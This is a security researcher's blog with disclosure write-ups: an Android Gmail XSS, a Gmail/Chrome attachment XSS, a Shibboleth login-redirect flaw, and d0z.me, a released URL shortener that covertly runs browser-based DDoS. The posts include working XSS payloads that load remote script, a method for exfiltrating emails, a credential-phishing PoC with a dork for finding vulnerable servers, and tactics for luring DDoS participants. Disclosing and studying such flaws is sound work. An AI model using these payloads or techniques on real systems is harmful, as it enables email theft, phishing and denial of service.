Spare Clock Cycles Hacking is freedom.

11Feb/1112

Android Gmail App: Stealing Emails via XSS

This post documents an XSS vulnerability that I discovered in the default Gmail app (v1.3) provided by Google in Android 2.1 and prior. All versions included in Android up to and including 2.1 seem to be affected, but the bug was unintentionally patched in Froyo (2.2) when Google updated the application to v2.3. The vulnerability let an attacker execute arbitrary Javascript in a local context on the phone, which made it possible to read the victim's emails (and the contacts mentioned in those emails) off of the phone, download certain files to phone (and open them), and more easily perform various other attacks that have previously been documented to take further control of the phone. Less seriously, it was also possible to crash the application repeatedly, resulting in a denial-of-service situation. The flaw has now been fixed via server-side patch to the Gmail API.

Discovery

During a night of drinking a couple months ago, I got into a discussion with my roommate (his personal blog, cause I promised) about what characters are valid in email addresses. Although many filters only allow [a-zA-Z0-9_-] plus maybe a few more as valid characters in the local-part of the address, I was convinced that I had previously seen email addresses that used characters outside of that character set, as well as filters that allowed for a wider range of characters. As I normally do during bouts of drinking, I immediately consulted the RFC to settle the dispute (RFC 5322). Sure enough, it is apparently allowed, but discouraged, under the RFC to have an email address in the following format: "i<3whate\/er"@mydomain.com . As long as the quotation marks are present, it is technically a valid email address.

Seeing that this might trip up the ill-informed, I decided to see if Gmail handled this case correctly. I wrote up a quick test in Python and used one of the many open SMTP relays on campus (another rant for another time) to shoot an email at my Gmail account. While the main Gmail interface handled the problem with relative ease (there were some small pattern matching issues when replying), I was a little surprised to see something like the following when I opened the email on my phone:

Android XSS Initial

Android XSS Initial

Clearly, there was an XSS vulnerability in the Gmail app. The root cause, upon further investigation, was that the application was using the raw source email address as an ID for the contact presence image (the online/offline icon). An honest mistake, given the extremely limited use of special characters in email addresses, but serious nonetheless. To see if the issue affected all versions of Android, I sent one to my roommate (who has Froyo), and one to my rather outdated emulator running Android 1.5. The flaw was present in 1.5, but Froyo's version was unaffected. I haven't tested on versions between 1.5 and 2.1, but I would assume that the bug has been present the entire time. To prove that I could indeed execute Javascript, I first tried sending an email with the following from address:

"><script>window.location='http://google.com'</script>"@somedmn.com

However, this email got blocked by Gmail's spam filters. Although at first I thought that they might be aware of the vulnerability and had tried to mitigate it, it quickly became apparent that it was simply blocking all emails with "<" in the from address. Weird, but not a show stopper. To get around this, I used the fact that the XSS was present in the image tag and abused the onload attribute for execution:

" onload=window.location='http://google.com'"@somedmn.com

Sure enough, the email got through, and when viewed, I ended up looking at Google!

Android XSS Google

Android XSS Google

Exploitation

While redirecting to Google is fun and all, doing anything more complicated required some work. Achieving arbitrary execution was somewhat of a small challenge, given that the email address is limited by the RFC to 254 characters in length, I could not use any "<" symbols because of the Gmail filter, and, I could not use any quotation marks in the actual Javascript. To complicate matters, a simple document.write("<script>window.location='http://google.com'</script>") didn't work in this situation. However, in spite of these things, I was able to throw together a payload that updates the DOM correctly and creates a script tag with a remote source, weighing in at ~225 characters with the domain attached.

Escaped:
" onload='var f=String.fromCharCode;var d=document;var s=d.createElement(f(83,67,82,73,80,84));s.src=f(47,47,66,73,84,46,76,89,47,105,51,51,72,100,86);d.getElementsByTagName(f(72,69,65,68))[0].appendChild(s);' "@somedmn.com

Unescaped:
" onload='var d=document;var s=d.createElement("SCRIPT");s.src="//BIT.LY/i33HdV";d.getElementsByTagName("HEAD")[0].appendChild(s);' "@somedmn.com

Of course, this is in all likelihood not the best way I could of done this, but it worked well. I'd love to see better solutions if people have them.

EDIT: Here's a much cleaner and simpler version, courtesy of R (see comments). I especially liked the use of an attribute for storing the URL string.

" title='http://bit.ly/i33HdV' onload='d=document;(s=d.createElement(/script/.source)).src=this.title;d.getElementsByTagName(/head/.source)[0].appendChild(s)' "@somedmn.com

With this in place, I could now do some more interesting things. First, I dumped the page source so I could see better how exactly the application worked. The Gmail app is closed source and the page is dynamically generated in the Java code, so it was useful to get a dump of that . I also grabbed the Gmail apk and unzipped it, which gave me the Javascript API available to the application. I would provide this code, but I don't want to get into any copyright issues by distributing it here (it's pretty easy to get on your own, anyway). Finally, vaguely following Thomas Cannon's wonderful guide on Android reversing, I decompiled the Java bytecode of the app to get a better idea of what I might be able to do.

Probably the easiest way to exploit this vulnerability would be simply to launch a phishing attack that redirects users to a fake mobile Gmail login page, in the hopes that they will happily log in to continue viewing their emails. However, this was not a particularly interesting or creative thing to do with the vulnerability, simple though it may be.

After reading through some of the code, the main attack that jumped out at me was to dump emails off the phone. Using some very simple Javascript, one could simply grab all the emails on the phone and submit them to a remote server. Doing things this way might not be practical in a real attack though, given the time it would take to gather every email on the device. A better technique is to utilize cross origin requests to send each email as it's being queried, meaning that an attacker will get the emails as soon as they're queried (naive demo code here). To give the attacker more time to gather emails, one could run the dumping code while also doing something like periodically spamming the user with requests to add a contact, giving the attack precious time to collect more data.  Rather than dumping all the emails, though, a smarter use of this exploit would be to reset a user's password to another service, and then send an attack email soon afterwards. If the target opened it, we could simply grab the last 2 or 3 emails and easily gain access to the account we reset.

In addition to the email dumping, some other interesting functions caught my eye: download, preview, and showExternalResources. Although not used anywhere in the script.js file that I grabbed from the apk file, these methods were public in the decompiled Java API, meaning they could be called via Javascript in the window. Using these functions with the proper parameters, it was possible to download arbitrary files to the phone without permission, cause external resources to be rendered, and to automatically open various attached files (such as document files). Obviously, all of these would provide an easy vector for various attacks.

Beyond these more serious problems, it was also possible to do various odd things, like prompt the user to add a contact, set a label, open up a new email to a target of our choosing, or automatically open up a forward/reply message to an email. Overall though, the Javascript API in the app did a fairly good job at preventing abuse, at least when compared to platforms such as WebOS. I was unable in my tests to gain unrestricted access to sending permissions or further compromise data on the phone beyond the emails without using other vulnerabilities.

One must also keep in mind that beyond these vulnerability-specific threats, the flaw also allowed for much easier (and quieter) exploitation of other vulnerabilities that have been found by other researchers, including the data-stealing bug and various arbitrary code execution vulnerabilities in WebKit (like this). It also allowed for the exploitation of any number of file format bugs that might have been found in the future. Exploiting any of these would be as easy as getting a user to open up an email. Worse, the user would have no idea until it was too late, as one could set the From header appropriately to make the email look legitimate (i.e., to something other than Test :P ):

Android XSS Inbox

Android XSS Inbox

And yes, that email executes arbitrary Javascript (shown here trying to add the user "Test;--" to the contact list):

Android XSS Add Contact

Android XSS Add Contact

Disclosure

I found the bug on 12/3/2010, and I contacted Google about 24 hours after I discovered it and confirmed it was exploitable. I received a quick initial response, but patching of the vulnerability on the server side was not completed until 1/28/11, apparently because of decreased staffing levels over the holiday. The patch was applied server-side in the Gmail API, and works by converting the special characters into their corresponding HTML entities. The Google security people were, as in all my previous communications with them, polite and professional, and I want to thank them for addressing the issue in a reasonable timeframe.

Overall, it was a pretty interesting vulnerability, and it was a good opportunity for me to learn a little more about Android. I had a good time familiarizing myself with the platform, and hopefully I will be able to do some more interesting things with it in the future. It has also definitely made me think twice before I open emails on my phone, which is probably for the best. Hopefully once these platforms become more mature, we won't see as many of these simple but serious vulnerabilities. However, if the maturation process we've observed in other security domains is any indication, I wouldn't hold your breath. It's going to take time.

19Dec/1033

d0z.me: The Evil URL Shortener

The Inspiration

I, like many people, have been closely following a lot of the chaos happening around the recent Wikileaks dump, and was particularly fascinated by the DDoS attacks by activists on either side. One tool specifically caught my eye in the midst of the attacks, however: the JS LOIC. The tool works simply by constantly altering an image file's source location, so that the browser is forced to continuously hammer the targeted server with HTTP requests. Not a sophisticated or technically interesting tool by any means, but conceptually interesting in that it only requires a browser to execute one's portion of a DoS attack. While the concept itself is not all that new, it got me thinking about the implications of such browser based DoS attacks. Clearly, it opens the door for the creation of a DDoS botnet without ever having to actually exploit the hosts participating in the network; all that is required is to get some Javascript to run in the participants' browsers.

As if the JS LOIC concept didn't have serious enough implications on its own, though, researchers from Attack & Defense Labs recently presented a much more effective DoS attack vector at Blackhat Abu Dhabi, which relies on Web Workers and Cross Origin Requests in HTML5. This attack, though it only works in HTML5 browsers, is supposedly capable of performing between 3,000 to 4,000 requests a minute under real world conditions, which is a significant improvement over the simple but functional img tag reload attack. In my tests, the HTML5 attack clocked in at ~1500-2000 requests/minute, with the img reload attack hovering around 600 requests/minute.

In addition to these DoS worries, I have also been uncomfortable for awhile now about the increasing use of and reliance upon URL shorteners for sharing links. While we can somewhat trust larger names in the field such as bit.ly, it seems that the marketplace for these services is becoming increasingly populated with more and more obscure shorteners. This is quite worrying, as people it encourages people to trust all the shortened links they happen to come across, even ones they've never seen before, and acquire a false sense of security in the knowledge that it will take them to the destination advertised by the text. However, as most relatively savvy people should know, this is certainly not always the case. A malicious shortener could essentially take you anywhere it pleased, and the user would be none the wiser.

D0z Me Please

With these issues in mind, I began wondering: what would happen if I mashed them all together? Enter d0z.me: a proof-of-concept URL shortener that, while getting users to their destinations, also covertly attacks an arbitrary server.

The concept is quite simple, really. Attackers go to d0z.me and enter a link they think could be popular/want to share, but also enter the address of a server that they would like to attack as well. Then, they share this text with as many people as possible, in as many places as possible. Extensive use of social media sites is probably a must achieve the best results.

When users click on the link, they appear to be redirected to the requested content, but they are in fact looking at the page in an embedded iframe. This is identical to how those rather annoying Digg and Stumbleupon toolbars work, except the embedding is invisible to the user (minus the location URL in the toolbar). While the users are busy viewing the page, a malicious Javascript DoS runs in the background, hammering the targeted server with an deluge of requests from these unsuspecting clients. If these clients continue browsing from that page, we can maintain our DoS in the background the entire time.

Clearly, this attack is dependent on getting a significant number of users to view a given link in a short amount of time, and, hopefully, keeping them on the page as long as possible. There are two main scenarios for garnering such traffic: one, tricking users into viewing the link and staying on it through whatever means necessary, and two, a concerted effort by a large number of users who willingly join the DDoS by following the link.

Scenario number one requires that the malicious attacker first come up with some content that he/she thinks will/could become popular; finding said content, of course, is not always an easy task. One possible vector is through the use of online games. Such games tend to keep users on the site for extended periods of time, lengthening the time of DoS. If one could find/make a game popular enough, and spread it through this link, then a significant amount of traffic could be achieved. Another possibility is a variation on what we have come to know as the free iPad scam. Tell users that if they open a link and stay on the page long enough, they will win a free iPad. This could be surprisingly effective, given how successful such offers have been in the past. A third possible way to exploit this technique could be a malicious rick roll of sorts: promise one thing, deliver another ridiculous/hilarious other thing, and hope that people find it funny and spread it quickly to as many people as possible.

Scenario two seems more similar to what we are currently seeing behind the Wikileaks-related attacks. If leaders convince enough of their followers simply to "open this link to win", it is conceivable that a very large number of people would chose to do so. However, this particular method (URL shortened link) is much more troublesome than current methods as, in such a scenario, there would be little way for authorities to determine whether or not a participant was intentionally or inadvertently involved in the attack. It is possible that some participants may have simply been curious or tricked into clicking the link, providing plausible deniability for any would-be attacker.

Both of these attacks, of course, can be mixed together in a hybrid style attack, which is the most likely form that it would take in a real DDoS. It is not completely clear to me what results a possible attack could achieve, but it seems likely that, given a dedicated userbase, one could use this method with a decent level of effectiveness. In addition, it would give intentional attackers a shield of plausible deniability to hide behind in case their IP address was singled out as an attacker in the DoS.

Implementation Details

My implementation of this attack is, at best, a hack job, but was merely meant to illustrate how easy it is to actually implement, how simple it is to launch a DDoS simply by getting people to follow a link, and how seriously our reliance on URL shorteners can affect security. This implementation utilizes two DoS methods: first, of course, is the same method as the JS LOIC (refreshing images repeatedly), and second is the HTML5 vector that was previously discussed. The linked page is embedded via a simple iframe.

As it is, the HTML5 attack and the img reload attack are both basically invisible in Chrome unless you're looking for them. I had to open Wireshark, the Javascript console, or my server logs to verify that the DoS was actually functioning correctly. Firefox is pretty noisy about the tests, though, as the img reload attack causes the page to appear to be loading indefinitely, and the HTML5 web worker threads chew up processor time.

I haven't spent much time trying to solve these, but if someone knows a fix, I'd appreciate your help. I have also done a little messing around with different ways of keeping the user on the page, but atm have not had much success without resorting to extremely annoying and only minimally effective techniques. I am releasing the code under the GPLv3, and, as always, welcome any advice that people have. As it's been a couple years since I've done much web application work, please be gentle.

Mitigation

Mitigating these types of attacks is not exactly straightforward. As with all DoS attacks, there's only so much one can do to prevent them. If an attacker simply has more bandwidth than you have, as they would if they got enough people to click these links, then it's pretty much game over regardless until you can get the attacks blocked at the ISP level. As these attacks do not rely on spoofed packets, and appear, at least at a passing glance, to be legitimate traffic, filtering it is also somewhat difficult.

The HTML5 CORS attack, according to A&RL's research, can be blocked if your server doesn't allow cross origin requests by making a rule in your WAF that blocks all requests with Origin in the headers. However, given enough people doing this attack, it could become overwhelmed regardless.

You can find more about mitigating DoS attacks on Google.

From an end-user's perspective, all you need to do to avoid joining a DDoS is to be careful about following suspicious URL redirector links, and use something like NoScript.

Final Notes

A few final notes:

Firstly, this site is NOT meant to be an attack site, or to help support either side in the whole Wikileaks debacle. I don't want any part in the current cyber skirmishes. It is merely a demonstration of some things that I found interesting and wanted to work on.

Secondly, I am not responsible for how this site or this code is used. You should only be testing this on sites you own and control, and if you aren't, chances are that you are breaking the law. You, the user, are responsible for knowing the relevant laws in your area, and acting accordingly.

Thirdly, to the researchers who first reported on the HTML5 DDoS vector, thanks. Quite interesting research. I owe you a beverage of your choosing sometime :P .

Finally, yes, to all you a-holes out there, I know, it would be ironic/funny to dos a site that is demonstrating a dos attack. Please don't. I know you can, and that it would be trivial to do, as this server isn't exactly hardened. Let's just save each other the time and hassle and say that you win, theoretical attacker. Congratulations.

14Dec/109

Gmail+Google Chrome XSS Vulnerability

The weekend before last, I found a flaw in Gmail that on the one hand was rather exciting for me (as I hadn't expected to find anything at all, and it was pretty clearly reward-worthy), but on the other was a little unnerving, given how quickly and easily I was able to find it and how serious the vulnerability was.

Vulnerability Discovery

While doing some work on an exploit for an XSS flaw that I had already found on another platform (details will be released in the semi-near future), I decided to see if there were any XSS vulnerabilities that I had missed. The first thing I wanted to try was to see if the application was properly sanitizing filenames in attachments, so I modified a Python email testing application I hacked together and shot off an email with an attachment named '';!--"<XSS>=&{()}.txt (a la RSnake) .

Everything looked good on the platform I was testing, so I began considering other possible attack vectors. However, on a whim, I decided to open up the email in Gmail as well, so I fired up Chrome and logged into my test account. I could not believe my eyes, but the filename was being used un-sanitized! A couple test emails later, I had a working XSS attack on the standard Gmail interface.

Proof of Concept

Send an email from the SMTP server of your choice with an attachment named:

"><img src="http://bit.ly/XcfTv" onload="alert(String.fromCharCode(88,83,83))"/>.txt

Screenshot:

Gmail XSS 1

Hello, Mr. Astley

Now, at this point, I was a little incredulous. There's no way that after about 10 minutes of work I had just found an XSS flaw this basic in what, I believe, is the most used webmail interface in the world, right? Well, as it turns out, it was not *quite* as bad as I had originally thought. I opened Firefox to test the flaw, and was surprised to find the filename was now perfectly sanitized. Upon testing in a number of other browsers and OSs, it appeared that the flaw solely affected Chrome on all platforms.

Given that I'm in the middle of exams right now, I sadly didn't have time to try to reverse the exact point of failure before the fix was applied, but my shot-in-the-dark guess would be that Google rolled out a new feature for testing in Chrome first before it moved to other browsers, and somewhere in their changes a sanitation routine got bypassed. However, this is sadly just a random guess, and Google did not enlighten me as to the specific details. Sorry to disappoint, all.

EDIT: I hate to leave questions unanswered; after all, I'm curious too. Although I could be wrong, the flaw seems to stem from Google's addition of a new "drag-files-to-the-desktop" feature a few months back. This would explain why a.) only Chrome was vulnerable and b.) it was the icons/links offering drag-and-drop that were affected, via unsanitized alt attribute. If anyone else knows better, though, I'd love to speak with you.

Disclosure

Regardless, given that an estimated 20% of Internet users use Google Chrome and at least half of them use the webmail interface (I think more, probably, but I'll be conservative), at least 10% of the Gmail userbase was vulnerable to all the nasty things one can do via XSS, simply by viewing an email with a maliciously crafted attachment. Although my exploit simply added some lovely pictures of Rick Astley to the email and popped up an alert dialog, it could have done such things as stolen cookies (giving an attacker a chance to hijack the account remotely), sent emails (think XSS worm), and read out emails and contacts from the account, all largely hidden from the user. I promptly notified Google of the problem, given the serious nature of the issue.

I have to commend the Google Security Team for their blazingly fast response to my disclosure. Although the screenshot demoing XSS in Gmail probably encouraged a faster reaction, they replied within 15 minutes of my initial email notifying me that they had read the disclosure and were looking into the problem. Given that I notified them at 5P.M on a Saturday afternoon, I was duly impressed. Within 24 hours, the flaw had been patched, and soon after I received an email notifying me that a temporary fix had been put into place. I had not even expected much of a response until Monday, let alone a fix, so I was quite happy with their reaction. Friendly, quick, and professional: the Google Security Team should serve as a model for other organizations who are working on handling disclosures by independent researchers effectively.

Random Other Blather

I still have to wonder, though, how this flaw got through Google's testing in the first place. As I stated earlier, it was a little unnerving to me that I found an attack vector that quickly and easily, given that I didn't do anything to find it that anyone should find particularly clever. Clearly, my discovery was aided significantly by blind luck, but my research this past week has certainly has made me think twice about ever using web-based interfaces to view my email.

I am glad to see though that Google is being very active and responsive in closing security holes, though, and (great for me!) rewarding those who report such flaws appropriately. I am hopeful that as long as organizations begin to follow Google's lead and encourage independent security research on their products, we might someday reach a point where finding vulnerabilities of similar gravity is a matter of years of research and development, rather than a few minutes of time and ~10 lines of Python.

9Dec/103

Shibboleth Example Login Page:
POST Location Hijacking Vulnerability

EDIT: This flaw, according to the lead Shibboleth developer, was discovered and patched in late 2008. It seems that a number of universities are still running outdated copies of the software, which is what I found in my research. If you are running the latest version of Shibboleth (2.2.0), you should be perfectly fine.

Normally I'd be rather happy with myself for finding an XSS flaw in a number of different login systems. However, sometimes it is just icing on the cake. The interesting flaw here is a vulnerability that allows an attacker to control the POST location of login forms in poor implementations of a widely used login system called Shibboleth, thanks to a weakly protected example login page.

Now first, to be clear, this certainly was not entirely the fault of the Shibboleth developers. In fact, they probably knew the example wasn't secure, and assumed that anyone implementing their own login system would surely lock down the page. In addition, most of the implementations are, in fact, secured. That said, the small minority that failed to add proper sanitation of user input left their login systems wide open to phishing attacks.

So onto the vulnerability. Awhile back, my school switched over to Google Apps for their email, and used Shibboleth (as many schools do) for authentication. This wouldn't be a problem, but someone apparently didn't pay enough attention to possible security holes in the demo application, as they should have. And, as it turns out, some other universities made the same mistake.

I found the issue when I got curious one day about how the authentication system worked. I started doing some poking around with TamperData to see where my browser was being redirected to during the process. My attention was drawn to a parameter set on the school's login page named "actionUrl". It's default value, set during a redirect, was "/idp/Authn/UserPassword". Curious, I of course changed the parameter to a remote url, "http://google.com". I refreshed, clicked submit, and sure enough, the form attempted to submit the form via POST request to Google.

PoC:
https://myvulnlogin.university.edu/idp/login.jsp?actionUrl=http://google.com

Clearly, not good. To make matters worse, it would also accept a POST variable if the GET variable wasn't set, meaning I could create a malicious link that linked directly to the official login page, POSTs to a webserver that I control, AND is entirely transparent to the user (same website, valid SSL cert, no strange GET parameters). I'm not entirely sure they could have made phishing any easier for an attacker. However, exploiting this through POST requests can be quite difficult through email based methods, so doing things this way requires a rather different approach that I might make a post on later.

For the time being, the GET PoC is more than sufficient to demonstrate how bad the problem is. If you want to prove that it actually works, I recommend using GNU Citizen's simple x.php script, or (like I did) rolling your own in Python. Finding vulnerable servers is a bit annoying, as many of them have indexing disabled in their robots.txt, and some vulnerable servers don't explicitly have the "actionUrl" parameter in their URL, but searching inurl:"idp/login.jsp" still brings up a few vulnerable pages. Chances are though if you are at or have recently attended a university, you have probably used Shibboleth-based authentication at some point, and that the login page is possibly vulnerable.

As stated before, these pages are also vulnerable to reflected XSS attacks in the same parameter, but truthfully there's not too much reason to use it when you can so easily capture a target's username and password in an almost completely transparent manner, unless you'd just rather hijack their session for some reason. Hopefully those who set up these pages will fix these flaws before phishers and the like start taking advantage of their quite serious shortcomings. As it stands, my university still hasn't (over two and a half weeks after I notified them), so I'm hoping this release will encourage them to fix their site, as well as make people aware that there is a problem. More likely, however, it will just encourage them to yell at me. So it goes.